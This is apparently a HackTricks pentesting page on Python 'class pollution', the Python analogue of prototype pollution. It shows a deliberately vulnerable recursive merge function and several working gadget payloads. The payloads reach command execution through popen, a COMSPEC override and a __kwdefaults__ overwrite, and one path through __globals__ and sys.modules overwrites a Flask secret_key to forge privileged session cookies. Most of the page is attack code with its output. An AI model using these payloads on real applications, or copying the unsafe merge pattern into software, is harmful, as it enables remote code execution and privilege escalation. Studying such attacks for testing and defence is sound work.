Class Pollution (Python's Prototype Pollution)

Reading time: 6 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Basic Example

Check how is possible to pollute classes of objects with strings:

python
class Company: pass class Developer(Company): pass class Entity(Developer): pass c = Company() d = Developer() e = Entity() print(c) #<__main__.Company object at 0x1043a72b0> print(d) #<__main__.Developer object at 0x1041d2b80> print(e) #<__main__.Entity object at 0x1041d2730> e.__class__.__qualname__ = 'Polluted_Entity' print(e) #<__main__.Polluted_Entity object at 0x1041d2730> e.__class__.__base__.__qualname__ = 'Polluted_Developer' e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company' print(d) #<__main__.Polluted_Developer object at 0x1041d2b80> print(c) #<__main__.Polluted_Company object at 0x1043a72b0>

Basic Vulnerability Example

python
# Initial state class Employee: pass emp = Employee() print(vars(emp)) #{} # Vulenrable function def merge(src, dst): # Recursive merge function for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) USER_INPUT = { "name":"Ahemd", "age": 23, "manager":{ "name":"Sarah" } } merge(USER_INPUT, emp) print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}

Gadget Examples

Creating class property default value to RCE (subprocess)
python
from os import popen class Employee: pass # Creating an empty class class HR(Employee): pass # Class inherits from Employee class class Recruiter(HR): pass # Class inherits from HR class class SystemAdmin(Employee): # Class inherits from Employee class def execute_command(self): command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there' return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"' def merge(src, dst): # Recursive merge function for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) USER_INPUT = { "__class__":{ "__base__":{ "__base__":{ "custom_command": "whoami" } } } } recruiter_emp = Recruiter() system_admin_emp = SystemAdmin() print(system_admin_emp.execute_command()) #> [!] Executing: "echo Hello there", output: "Hello there" # Create default value for Employee.custom_command merge(USER_INPUT, recruiter_emp) print(system_admin_emp.execute_command()) #> [!] Executing: "whoami", output: "abdulrah33m"
Polluting other classes and global vars through globals
python
def merge(src, dst): # Recursive merge function for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) class User: def __init__(self): pass class NotAccessibleClass: pass not_accessible_variable = 'Hello' merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User()) print(not_accessible_variable) #> Polluted variable print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
Arbitrary subprocess execution
python
import subprocess, json class Employee: def __init__(self): pass def merge(src, dst): # Recursive merge function for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) # Overwrite env var "COMSPEC" to execute a calc USER_INPUT = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value merge(USER_INPUT, Employee()) subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
Overwritting __kwdefaults__

__kwdefaults__ is a special attribute of all functions, based on Python documentation, it is a “mapping of any default values for keyword-only parameters”. Polluting this attribute allows us to control the default values of keyword-only parameters of a function, these are the function’s parameters that come after * or *args.

python
from os import system import json def merge(src, dst): # Recursive merge function for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) class Employee: def __init__(self): pass def execute(*, command='whoami'): print(f'Executing {command}') system(command) print(execute.__kwdefaults__) #> {'command': 'whoami'} execute() #> Executing whoami #> user emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value merge(emp_info, Employee()) print(execute.__kwdefaults__) #> {'command': 'echo Polluted'} execute() #> Executing echo Polluted #> Polluted
Overwriting Flask secret across files

So, if you can do a class pollution over an object defined in the main python file of the web but whose class is defined in a different file than the main one. Because in order to access __globals__ in the previous payloads you need to access the class of the object or methods of the class, you will be able to access the globals in that file, but not in the main one.
Therefore, you won't be able to access the Flask app global object that defined the secret key in the main page:

python
app = Flask(__name__, template_folder='templates') app.secret_key = '(:secret:)'

In this scenario you need a gadget to traverse files to get to the main one to access the global object app.secret_key to change the Flask secret key and be able to escalate privileges knowing this key.

A payload like this one from this writeup:

python
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key

Use this payload to change app.secret_key (the name in your app might be different) to be able to sign new and more privileges flask cookies.

Check also the following page for more read only gadgets:

Python Internal Read Gadgets

References

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks